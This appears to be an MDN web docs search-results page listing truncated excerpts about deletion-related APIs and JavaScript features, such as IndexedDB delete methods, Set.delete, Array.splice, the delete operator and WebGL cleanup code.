the contentindexevent interface of the content index api defines the object used to represent the contentdelete event. this event is sent to the global scope of a serviceworker. it contains the id of the indexed content to be removed. the contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface. it is not fired when the contentindex.delete method is called. constructor contentindexevent() creates and returns a new contentindexevent object whose type and other options are configured as specified. ...
...it is not fired when the contentindex.delete method is called. constructor contentindexevent() creates and returns a new contentindexevent object whose type and other options are configured as specified. properties in addition to the properties listed below, this interface inherits the properties of its parent interface, extendableevent. id read only a string which identifies the deleted content index via it's id. methods while contentindexevent offers no methods of its own, it inherits any specified by its parent interface, extendableevent. examples this example shows the sevice worker script listening for the contentdelete event and logs the removed content index id. ...
...xtendableevent. id read only a string which identifies the deleted content index via it's id. methods while contentindexevent offers no methods of its own, it inherits any specified by its parent interface, extendableevent. examples this example shows the sevice worker script listening for the contentdelete event and logs the removed content index id. self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'contentindexevent' in that specification. unknown initial definition. ...
Element.classList - Web APIs
Web › API › Element › classList
0, arglen=arguments.length,val="",ele=this[" ucl"],proto=ele[" uclp"]; v !== arglen; ++v) { val = arguments[v] + "", checkifvalidclasslistentry("remove", val); for (var i=0, len=proto.length, resstr="", is=0; i !== len; ++i) if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resstr+=this[i]+" "; }else{ is=1; } } if (!is) continue; delete this[len], proto.length -= 1, proto.value = resstr; } skippropchange = 1, ele.classname = proto.value, skippropchange = 0; }; window.domtokenlist = domtokenlist; function whenpropchanges(){ var evt = window.event, prop = evt.propertyname; if ( !skippropchange && (prop==="classname" || (prop==="classlist" && !defineproperty)) ) { var target =...
..."?" ucl":"classlist"]; var oldlen = protoobjproto.length; a: for(var ci = 0, clen = protoobjproto.length = tokens.length, sub = 0; ci !== clen; ++ci){ for(var inneri=0; inneri!==ci; ++inneri) if(tokens[inneri]===tokens[ci]) {sub++; continue a;} restokenlist[ci-sub] = tokens[ci]; } for (var i=clen-sub; i < oldlen; ++i) delete restokenlist[i]; //remove trailing indexs if(prop !== "classlist") return; skippropchange = 1, target.classlist = restokenlist, target.classname = strval; skippropchange = 0, restokenlist.length = tokens.length - sub; } } function polyfillclasslist(ele){ if (!ele || !("innerhtml" in ele)) throw typeerror("illegal invocation"); el...
...newval.trim().split(wsre), oldlen = protoobjproto.length; a: for(var ci = 0, clen = protoobjproto.length = toks.length, sub = 0; ci !== clen; ++ci){ for(var inneri=0; inneri!==ci; ++inneri) if(toks[inneri]===toks[ci]) {sub++; continue a;} restokenlist[ci-sub] = toks[ci]; } for (var i=clen-sub; i < oldlen; ++i) delete restokenlist[i]; //remove trailing indexs } }); defineproperty(ele, " uclp", { // for accessing the hidden prototype enumerable: 0, configurable: 0, writeable: 0, value: protoobj.prototype }); defineproperty(protoobjproto, " ucl", { enumerable: 0, configurable: 0, writeable: 0, value: ele }); } else { ele.classlist=restokenlist, ele[" uc...
FileSystemEntry.remove() - Web APIs
directories must be empty before they can be removed. to recursively remove a directory as well as all of its contents and its subdirectories, call filesystemdirectoryentry.removerecursively() instead. syntax filesystementry.remove(successcallback[, errorcallback]); parameters successcallback a function which is called once the file has been successfully removed. errorcallback optional an optional callback which is called if the attempt to remove the file fails. return value undefined. ...
...ional an optional callback which is called if the attempt to remove the file fails. return value undefined. errors fileerror.invalid_modification_err the specified entry was the file system's root directory, or the specified entry is a directory which isn't empty. ...
... workingdirectory.getfile("tmp/workfile.json", {}, function(fileentry) { fileentry.remove(function() { /* the file was removed successfully */ }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. ...
Headers - Web APIs
Web › API › Headers
his interface, header names are matched by case-insensitive byte sequence. for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. a headers object also has an associated guard, which takes a value of immutable, request, request-no-cors, response, or none. this affects whether the set(), delete(), and append() methods will mutate the header. for more information see guard. you can retrieve a headers object via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor. an object implementing headers can directly be used in a for...of structure, instead of entries(): for (var p of myheaders) is equivalent to for (var p o...
...tries(): for (var p of myheaders) is equivalent to for (var p of myheaders.entries()). note: you can find more out about the available headers by reading our http headers reference. constructor headers() creates a new headers object. methods headers.append() appends a new value onto an existing header inside a headers object, or adds the header if it does not already exist. headers.delete() deletes a header from a headers object. headers.entries() returns an iterator allowing to go through all key/value pairs contained in this object. headers.foreach() executes a provided function once for each array element. headers.get() returns a bytestring sequence of all the values of a header within a headers object with a given name. headers.has() returns a boolean stating whether ...
... the header has an immutable guard. in any other failure case they fail silently. note: when header values are iterated over, they are automatically sorted in lexicographical order, and values from duplicate header names are combined. obsolete methods headers.getall() used to return an array of all the values of a header within a headers object with a given name; this method has now been deleted from the spec, and headers.get() now returns all values of a given name instead of just the first one. examples in the following snippet, we create a new header using the headers() constructor, add a new header to it using append(), then return that header value using get(): var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.get('content-type') // should ...
IDBCursor.update() - Web APIs
Web › API › IDBCursor › update
for such needs, you have to use idbindex.opencursor() instead. note: this feature is available in web workers. ...
...for such needs, you have to use idbindex.opencursor() instead. note: this feature is available in web workers. ...
...en use a cursor to iterate through all the records in the object store. if the albumtitle of the current cursor is "a farewell to kings", we update year the album was released using var request = cursor.update();. note that you cannot change primary keys using cursor.update(), hence us not changing the album title; this would ruin the integrity of the data. in such a situation, you would have to delete the record altogether and then add a new one using idbobjectstore.add. note also that you can't directly put cursor.value into an update call, hence the below example using an intermediary updatedata variable. the cursor does not require us to select the data based on a key; we can just grab all of it. also note that in each iteration of the loop, you can grab data from the current record under ...
IDBDatabase - Web APIs
the interface provides the only way to get and manage versions of the database. note: this feature is available in web workers. note: everything you do in indexeddb always happens in the context of a transaction, representing interactions with data in the database. all objects in indexeddb — including object stores, indexes, and cursors — are tied to a particular transaction. ...
... stores currently in the connected database. methods inherits from: eventtarget idbdatabase.close() returns immediately and closes the connection to a database in a separate thread. idbdatabase.createmutablefile() creates a file handle, allowing files to be stored inside an indexeddb database. idbdatabase.createobjectstore() creates and returns a new object store or index. idbdatabase.deleteobjectstore() destroys the object store with the given name in the connected database, along with any indexes that reference it. idbdatabase.transaction() immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store. runs in a separate thread. events listen to these events using addeventlistener() or...
... yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5deleteobjectstorechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full...
IDBObjectStore - Web APIs
e. idbobjectstore.count() returns an idbrequest object, and, in a separate thread, returns the total number of records that match the provided key or idbkeyrange. if no arguments are provided, it returns the total number of records in the store. idbobjectstore.createindex() creates a new index during a version upgrade, returning a new idbindex object in the connected database. idbobjectstore.delete() returns an idbrequest object, and, in a separate thread, deletes the store object selected by the specified key. this is for deleting individual records out of an object store. idbobjectstore.deleteindex() destroys the specified index in the connected database, used during a version upgrade. idbobjectstore.get() returns an idbrequest object, and, in a separate thread, returns the store obj...
...pera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitdeletechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support ...
...pera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitdeleteindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full suppo...
Key Values - Web APIs
keycode_page_up (92) [1] internet explorer, edge (16 and earlier), and firefox (36 and earlier) use "left", "right", "up", and "down" instead of "arrowleft", "arrowright", "arrowup", and "arrowdown". editing keys keyboardevent.key value description virtual keycode windows mac linux android "backspace" the backspace key. this key is labeled delete on mac keyboards. vk_back (0x08) kvk_delete (0x33) gdk_key_backspace (0xff08) qt::key_backspace (0x01000003) keycode_del (67) "clear" the clear key. removes the currently selected input. vk_clear (0x0c) vk_oem_clear (0xfe) kvk_ansi_keypadclear (0x47) gdk_key_clear (0xff0b) qt::key_clear (0x0100000b) keycode_clear (28) "copy" the copy key...
...y key (on certain extended keyboards). appcommand_copy gdk_key_copy (0x1008ff57) qt::key_copy (0x010000cf) "crsel" [3] the cursor select key, crsel. vk_crsel (0xf7) gdk_key_3270_cursorselect (0xfd1c) "cut" the cut key (on certain extended keyboards). appcommand_cut gdk_key_cut (0x1008ff58) qt::key_cut (0x010000d0) "delete" [2] the delete key, del. vk_delete (0x2e) kvk_forwarddelete (0x75) [1] gdk_key_delete (0xffff) gdk_key_kp_delete (0xff9f) qt::key_delete (0x01000007) keycode_forward_del (112) "eraseeof" erase to end of field. deletes all characters from the current cursor position to the end of the current field. vk_ereof (0xf9) gdk_key_3270_exselect (0xfd1b) ...
...4) "paste" paste from the clipboard. appcommand_paste gdk_key_paste (0x1008ff6d) qt::key_paste (0x010000e2) "redo" redo the last action. appcommand_redo gdk_key_redo (0xff66) "undo" undo the last action. appcommand_undo gdk_key_undo (0xff65) [1] on keyboards without a dedicated del key, the mac generates the "delete" value when fn is pressed in tandem with delete (which is backspace on other platforms). [2] internet explorer (tested on release 9 and 11) and firefox 36 and earlier use "del" instead of "delete" for the del key. [3] internet explorer (tested on release 9 and 11) and firefox 36 and earlier generate the value "crsel" instead of "crsel" when the crsel key is pressed. [4] internet explorer (test...
URLSearchParams - Web APIs
for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers. constructor urlsearchparams() returns a urlsearchparams object instance. methods urlsearchparams.append() appends a specified key/value pair as a new search parameter. urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters. urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in this object. urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function. urlsearchparams.get() returns the first value associated ...
...ociated with a given search parameter. urlsearchparams.has() returns a boolean indicating if such a given parameter exists. urlsearchparams.keys() returns an iterator allowing iteration through all keys of the key/value pairs contained in this object. urlsearchparams.set() sets the value associated with a given search parameter to the given value. if there are several values, the others are deleted. urlsearchparams.sort() sorts all key/value pairs, if any, by their keys. urlsearchparams.tostring() returns a string containing a query string suitable for use in a url. urlsearchparams.values() returns an iterator allowing iteration through all values of the key/value pairs contained in this object. examples var paramsstring = "q=urlutils.searchparams&topic=api"; var searchparams = ne...
...however, it will strip an initial leading ? off of a string, if present. var paramsstring1 = "http://example.com/search?query=%40"; var searchparams1 = new urlsearchparams(paramsstring1); searchparams1.has("query"); // false searchparams1.has("http://example.com/s...
UserDataHandler - Web APIs
fox 26 / thunderbird 26 / seamonkey 2.23 / firefox os 1.2)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. summary when associating user data with a key on a node, node.setuserdata() can also accept, in its third argument, a handler which will be called when the object is cloned, imported, deleted, renamed, or adopted. per the specification, exceptions should not be thrown in a userdatahandler. in both document.importnode() and node.clonenode(), although user data is not copied over, the handler will be called. properties none. methods handle (operation, key, data, src, dst) (no return value) this method is a callback which will be called if a node is being cloned, imported, renamed ...
...dopted. per the specification, exceptions should not be thrown in a userdatahandler. in both document.importnode() and node.clonenode(), although user data is not copied over, the handler will be called. properties none. methods handle (operation, key, data, src, dst) (no return value) this method is a callback which will be called if a node is being cloned, imported, renamed and as well, if deleted or adopted. operation (unsigned short) is an operation type integer (see below). key (domstring) is the user key. data (domuserdata) is the user data. src (node) is the source node (null if being deleted). dst (node) is the destination node (if any, or null). constants constant value operation node_cloned 1 node.clonenode() node_imported 2 d...
...d short) is an operation type integer (see below). key (domstring) is the user key. data (domuserdata) is the user data. src (node) is the source node (null if being deleted). dst (node) is the destination node (if any, or null). ...
Hello GLSL - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(g...
..." + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } ...
...inkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "fail...
Hello vertex attributes - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl...
..." + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.query...
...uffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.addeventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "...
Textures from code - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.
..." + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } va...
...; gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0, 0.0]), gl.static_draw); gl.vertexattribpointer(0, 2, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "fail...
JavaScript data types and data structures - JavaScript
etrieved by a get access of the property. undefined [[writable]] boolean if false, the property's [[value]] cannot be changed. false [[enumerable]] boolean if true, the property will be enumerated in for...in loops. see also enumerability and ownership of properties. false [[configurable]] boolean if false, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[value]] and [[writable]] cannot be changed. false obsolete attributes (as of ecmascript 3, renamed in ecmascript 5) attribute type description read-only boolean reversed state of the es5 [[writable]] attribute. dontenum boolean reversed state of the es5 [[enumerable...
...accessor property, and attributes other than [[value]] and [[writable]] cannot be changed. false obsolete attributes (as of ecmascript 3, renamed in ecmascript 5) attribute type description read-only boolean reversed state of the es5 [[writable]] attribute. dontenum boolean reversed state of the es5 [[enumerable]] attribute. dontdelete boolean reversed state of the es5 [[configurable]] attribute. accessor property associates a key with one of two accessor functions (get and set) to retrieve or store a value, and has the following attributes: attributes of an accessor property attribute type description default value [[get]] function object or undefined the function is called ...
...[[set]] function object or undefined the function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed. see also set. undefined [[enumerable]] boolean if true, the property will be enumerated in for...in loops. false [[configurable]] boolean if false, the property can't be deleted and can't be changed to a data property. false "normal" objects, and functions a javascript object is a mapping between keys and values. keys are strings (or symbols), and values can be anything. this makes objects a natural fit for hashmaps. functions are regular objects with the additional capability of being callable. dates when representing dates, the best choice is to use the ...
Array.prototype.find() - JavaScript
ed to callback can. if so, the elements processed by find are set before the first invocation of callback. therefore: callback will not visit any elements added to the array after the call to find begins. if an existing, yet-unvisited element of the array is changed by callback, its value passed to the callback will be the value at the time find visits that element's index. elements that are deleted are still visited. polyfill this method has been added to the ecmascript 2015 specification and may not be available in all javascript implementations yet. however, you can polyfill array.prototype.find with the following snippet: // https://tc39.github.io/ecma262/#sec-array.prototype.find if (!array.prototype.find) { object.defineproperty(array.prototype, 'find', { value: function(pre...
...returns undefined if there is no prime number): function isprime(element, index, array) { let start = 2; while (start <= math.sqrt(element)) { if (element % start++ < 1) { return false; } } return element > 1; } console.log([4, 6, 8, 12].find(isprime)); // undefined, not found console.log([4, 5, 8, 12].find(isprime)); // 5 the following examples show that nonexistent and deleted elements are visited, and that the value passed to the callback is their value when visited: // declare array with no elements at indexes 2, 3, and 4 const array = [0,1,,,,5,6]; // shows all indexes, not just those with assigned values array.find(function(value, index) { console.log('visited index ', index, ' with value ', value); }); // shows all indexes, including deleted array.find(funct...
...nd that the value passed to the callback is their value when visited: // declare array with no elements at indexes 2, 3, and 4 const array = [0,1,,,,5,6]; // shows all indexes, not just those with assigned values array.find(function(value, index) { console.log('visited index ', index, ' with value ', value); }); // shows all indexes, including deleted array.find(function(value, index) { // delete element 5 on first iteration if (index === 0) { console.log('deleting array[5] with value ', array[5]); delete array[5]; } // element 5 is still visited even though deleted console.log('visited index ', index, ' with value ', value); }); // expected output: // deleting array[5] with value 5 // visited index 0 with value 0 // visited index 1 with value 1 // visited index 2 with val...
Array.prototype.forEach() - JavaScript
processed in the array. index optional the index currentvalue in the array. array optional the array foreach() was called upon. thisarg optional value to use as this when executing callback. return value undefined. description foreach() calls a provided callback function once for each element in an array in ascending order. it is not invoked for index properties that have been deleted or are uninitialized. (for sparse arrays, see example below.) callback is invoked with three arguments: the value of the element the index of the element the array object being traversed if a thisarg parameter is provided to foreach(), it will be used as callback's this value. the thisarg value ultimately observable by callback is determined according to the usual rules for determining t...
... value. the thisarg value ultimately observable by callback is determined according to the usual rules for determining the this seen by a function. the range of elements processed by foreach() is set before the first invocation of callback. elements which are appended to the array after the call to foreach() begins will not be visited by callback. if existing elements of the array are changed or deleted, their value as passed to callback will be the value at the time foreach() visits them; elements that are deleted before being visited are not visited. if elements that are already visited are removed (e.g. using shift()) during the iteration, later elements will be skipped. (see this example, below.) foreach() executes the callback function once for each array element; unlike map() or reduce()...
...t entry of the whole array is shifted off—resulting in all remaining entries moving up one position. because element four is now at an earlier position in the array, three will be skipped. foreach() does not make a copy of the array before iterating. let words = ['one', 'two', 'three', 'four'] words.foreach((word) => { console.log(word) if (word === 'two') { words.shift() //'one' will delete from array } }) // one // two ​​​​// four console.log(words); //['two', 'three',​​​​ 'four'] flatten an array the following example is only here for learning purpose. if you want to flatten an array using built-in methods you can use array.prototype.flat(). function flatten(arr) { const result = [] arr.foreach((i) => { if (array.isarray(i)) { result.push(..
Array.prototype.splice() - JavaScript
the splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let arrdeleteditems = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at which to start changing the array. if greater than the length of the array, start will be set to the length of the array. in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided. if negative, it will begin that many elements from the end...
...ent will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided. if negative, it will begin that many elements from the end of the array. (in this case, the origin -1, meaning -n is the index of the nth last element, and is therefore equivalent to the index of array.length - n.) if array.length + start is less than 0, it will begin from index 0. deletecount optional an integer indicating the number of elements in the array to remove from start. if deletecount is omitted, or if its value is equal to or larger than array.length - start (that is, if it is equal to or greater than the number of elements left in the array, starting at start), then all the elements from start to the end of the array will be deleted. note: in ie8, it won't dele...
...al an integer indicating the number of elements in the array to remove from start. if deletecount is omitted, or if its value is equal to or larger than array.length - start (that is, if it is equal to or greater than the number of elements left in the array, starting at start), then all the elements from start to the end of the array will be deleted. note: in ie8, it won't delete all when deletecount is omitted. if deletecount is 0 or negative, no elements are removed. in this case, you should specify at least one new element (see below). item1, item2, ... optional the elements to add to the array, beginning from start. if you do not specify any elements, splice() will only remove elements from the array. return value an array containing the deleted elements. if only one eleme...
JSON.parse() - JavaScript
in the first stage, we replace certain // unicode characters with escape sequences. javascript handles many characters // incorrectly, either silently deleting them, or treating them as...
... // but just to be safe, we want to reject all unexpected forms. // we split the second stage into 4 regexp operations in order to work around // crippling inefficiencies in ie's and safari's regexp engines. first we // replace the json backslash pairs with "@" (a non-json character). second, we // replace all simple value tokens with "]" characters. third, we delete all // open brackets that follow a colon or comma or that begin the text. finally, // we look to see that the remaining characters are only whitespace or "]" or // "," or ":" or "{" or "}". if that is so, then the text is safe for eval. if ( rx_one.test( text .replace(rx_two, "@") .replace(rx_three, "]") ...
...roperties and proceeding to the original value itself) are individually run through the reviver. then it is called, with the object containing the property being processed as this, and with the property name as a string, and the property value as arguments. if the reviver function returns undefined (or returns no value, for example, if execution falls off the end of the function), the property is deleted from the object. otherwise, the property is redefined to be the return value. if the reviver only transforms some values and not others, be certain to return all untransformed values as-is, otherwise, they will be deleted from the resulting object. json.parse('{"p": 5}', (key, value) => typeof value === 'number' ? value * 2 // return value * 2 for numbers : value // return everyt...
Object.seal() - JavaScript
ew properties from being added and marks all existing properties as non-configurable. this has the effect of making the set of properties on the object fixed and immutable. making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being changed. attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most commonly, although not exclusively, when in strict mode code). the prototype chain remains untouched. however, the __proto__ property is sealed as well. comparison to object.freeze() existing properties in objects frozen with object.freeze()...
... as well. comparison to object.freeze() existing properties in objects frozen with object.freeze() are made immutable. objects sealed with object.seal() can have their existing properties changed. examples using object.seal var obj = { prop: function() {}, foo: 'bar' }; // new properties may be added, existing properties // may be changed or removed. obj.foo = 'baz'; obj.lumpy = 'woof'; delete obj.prop; var o = object.seal(obj); o === obj; // true object.issealed(obj); // === true // changing property values on a sealed object // still works. obj.foo = 'quux'; // but you can't convert data properties to accessors, // or vice versa. object.defineproperty(obj, 'foo', { get: function() { return 'g'; } }); // throws a typeerror // now any changes, other than to property values, // w...
... === true // changing property values on a sealed object // still works. obj.foo = 'quux'; // but you can't convert data properties to accessors, // or vice versa. object.defineproperty(obj, 'foo', { get: function() { return 'g'; } }); // throws a typeerror // now any changes, other than to property values, // will fail. obj.quaxxor = 'the friendly duck'; // silently doesn't add the property delete obj.foo; // silently doesn't delete the property // ...and in strict mode such attempts // will throw typeerrors. function fail() { 'use strict'; delete obj.foo; // throws a typeerror obj.sparky = 'arf'; // throws a typeerror } fail(); // attempted additions through // object.defineproperty will also throw. object.defineproperty(obj, 'ohai', { value: 17 }); // throws a typeerror object.
Set - JavaScript
set object. static properties get set[@@species] the constructor function that is used to create derived objects. instance properties set.prototype.size returns the number of values in the set object. instance methods set.prototype.add(value) appends value to the set object. returns the set object. set.prototype.clear() removes all elements from the set object. set.prototype.delete(value) removes the element associated to the value and returns the value that set.prototype.has(value) would have previously returned. set.prototype.has(value) will return false afterwards. set.prototype.has(value) returns a boolean asserting whether an element is present with the given value in the set object or not. iteration methods set.prototype[@@iterator]() returns a new iterator o...
...] let o = {a: 1, b: 2} myset.add(o) myset.add({a: 1, b: 2}) // o is referencing a different object, so this is okay myset.has(1) // true myset.has(3) // false, since 3 has not been added to the set myset.has(5) // true myset.has(math.sqrt(25)) // true myset.has('some text'.tolowercase()) // true myset.has(o) // true myset.size // 5 myset.delete(5) // removes 5 from the set myset.has(5) // false, 5 has been removed myset.size // 4, since we just removed one value console.log(myset) // logs set(4) [ 1, "some text", {…}, {…} ] in firefox // logs set(4) { 1, "some text", {…}, {…} } in chrome iterating sets // iterate over items in set // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b...
... return _union } function intersection(seta, setb) { let _intersection = new set() for (let elem of setb) { if (seta.has(elem)) { _intersection.add(elem) } } return _intersection } function symmetricdifference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { if (_difference.has(elem)) { _difference.delete(elem) } else { _difference.add(elem) } } return _difference } function difference(seta, setb) { let _difference = new set(seta) for (let elem of setb) { _difference.delete(elem) } return _difference } // examples let seta = new set([1, 2, 3, 4]) let setb = new set([2, 3]) let setc = new set([3, 4, 5, 6]) issuperset(seta, setb) ...
in operator - JavaScript
rue 'model' in mycar // returns true you must specify an object on the right side of the in operator. for example, you can specify a string created with the string constructor, but you cannot specify a string literal. ...
...ou must specify an object on the right side of the in operator. for example, you can specify a string created with the string constructor, but you cannot specify a string literal. ...
...n the right side of the in operator. for example, you can specify a string created with the string constructor, but you cannot specify a string literal. let color1 = new string('green') 'length' in color1 // returns true let color2 = 'coral' // generates an error (color2 is not a string object) 'length' in color2 using in with deleted or undefined properties if you delete a property with the delete operator, the in operator returns false for that property. let mycar = {make: 'honda', model: 'accord', year: 1998} delete mycar.make 'make' in mycar // returns false let trees = new array('redwood', 'bay', 'cedar', 'oak', 'maple') delete trees[3] 3 in trees // returns false if you set a property to undefined but do not delete it, the in operator returns true for that property. let mycar ...
for...in - JavaScript
ited non–enumerable properties from object.prototype and string.prototype, such as string's indexof() method or object's tostring() method. the loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain). deleted, added, or modified properties a for...in loop iterates over the properties of an object in an arbitrary order (see the delete operator for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting). if a property is modified in one iteration and then visited at a later time, its value in the loop is its value at that later time. a property that...
...properties added to the object over which iteration is occurring may either be visited or omitted from iteration. ...
...ration is occurring may either be visited or omitted from iteration. in general, it is best not to add, modify, or remove properties from the object during iteration, other than the property currently being visited. there is no guarantee whether an added property will be visited, whether a modified property (other than the current one) will be visited before or after it is modified, or whether a deleted property will be visited before it is deleted. array iteration and for...in note: for...in should not be used to iterate over an array where the index order is important. array indexes are just enumerable properties with integer names and are otherwise identical to general object properties. there is no guarantee that for...in will return the indexes in any particular order. the for...in lo...
Transitioning to strict mode - JavaScript
en designed so that the transition to it can be made gradually. it is possible to change each file individually and even to transition code to strict mode down to the function granularity. ...
...ansition to it can be made gradually. it is possible to change each file individually and even to transition code to strict mode down to the function granularity. ...
...to change a value on the global object which is rarely the expected effect. if you really want to set a value to the global object, pass it as an argument and explicitly assign it as a property: var global = this; // in the top-level context, "this" always // refers to the global object function f(x) { 'use strict'; var a = 12; global.b = a + x * 35; } f(42); trying to delete a non-configurable property 'use strict'; delete object.prototype; // error! in non-strict, this would silently fail, in contradiction with the user expectation. poisoned arguments and function properties accessing arguments.callee, arguments.caller, anyfunction.caller, or anyfunction.arguments throws an error in strict mode. the only legitimate use case would be to reuse a function as in: ...
The building blocks of responsive design - Progressive web apps (PWAs)
ntages in that the layout will adapt to different viewport dimensions. let's look at an example. we've written a simple-but-fun prototype for an application called snapshot, which takes a video stream from your webcam (using getusermedia()) then allows you to capture stills from that video stream (using html5 <canvas>), and save them to a gallery. you can then view previously-captured images and delete them. other articles will discuss the functionality in more detail, but here we're interested in the layout. note: you can find the snapshot app on github; check out the code and help improve it. you can also see snapshot running live. note that getusermedia() is an experimental technology, which currently only works in google chrome and firefox desktop. more functionality and a clean up of the...
...the dimensions scale up and down nicely along with the viewport width. last for this section, we absolutely positioned all buttons at the bottom of the cards they are in, so the layout looks ok at different viewport size variations. we then add a rule that positions the second button in any card a button's width higher up the card. when you click on an image in the gallery it brings up options to delete or cancel deletion of the card, and you don't want two buttons on top of one another. x-card:nth-child(3) img { width: 50%; } this rule simply changes the width of the gallery images so now there are two per line. nav { width: 100%; position: absolute; z-index: 1000; display: -webkit-flex; display: -moz-flex; display: -ms-flexbox; display: flex; } ...
...em; } } this does the following: adjusts the nav buttons, changing the direction the flexbox is laid out in, and altering the font size and borders so they sit vertically instead of horizontally. removes the top margin from the x-card contents so you don't end up with an unsightly gap at the top of the screen in landscape mode. changes the sizing of the control buttons (e.g. take picture, delete photo) so they don't look too big and sit properly on the screen. this results in the following layout: note: another solution with respect to orientation might be to just lock the orientation of your app, to portrait or landscape. if you are working on an installed app, you can easily do this with the orientation manifest field. if you want a solution that works across general web apps, yo...
indexed-db - Archive of obsolete content
ar { indexeddb, idbkeyrange } = require('sdk/indexed-db'); var database = {}; database.onerror = function(e) { console.error(e.value) } function open(version) { var request = indexeddb.open("stuff", version); request.onupgradeneeded = function(e) { var db = e.target.result; e.target.transaction.onerror = database.onerror; if(db.objectstorenames.contains("items")) { db.deleteobjectstore("items"); } var store = db.createobjectstore("items", {keypath: "time"}); }; request.onsuccess = function(e) { database.db = e.target.result; }; request.onerror = database.onerror; }; function additem(name) { var db = database.db; var trans = db.transaction(["items"], "readwrite"); var store = trans.objectstore("items"); var time = new date().getti...
...see the idbfactory documentation. idbkeyrange defines a range of keys. see the idbkeyrange documentation. domexception provides more detailed information about an exception. see the domexception documentation. ...
places/bookmarks - Archive of obsolete content
and deleting bookmarks are all done with the save() function. this function takes in any of: a bookmark item (bookmark, group, separator) a duck-typed object (the relative properties for a bookmark item, in addition to a type property of 'bookmark', 'group', or 'separator') an array of bookmark items. ...
... the function returns a placesemitter that emits a data event for each item as it is saved, and an end event when all items have been saved. ...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
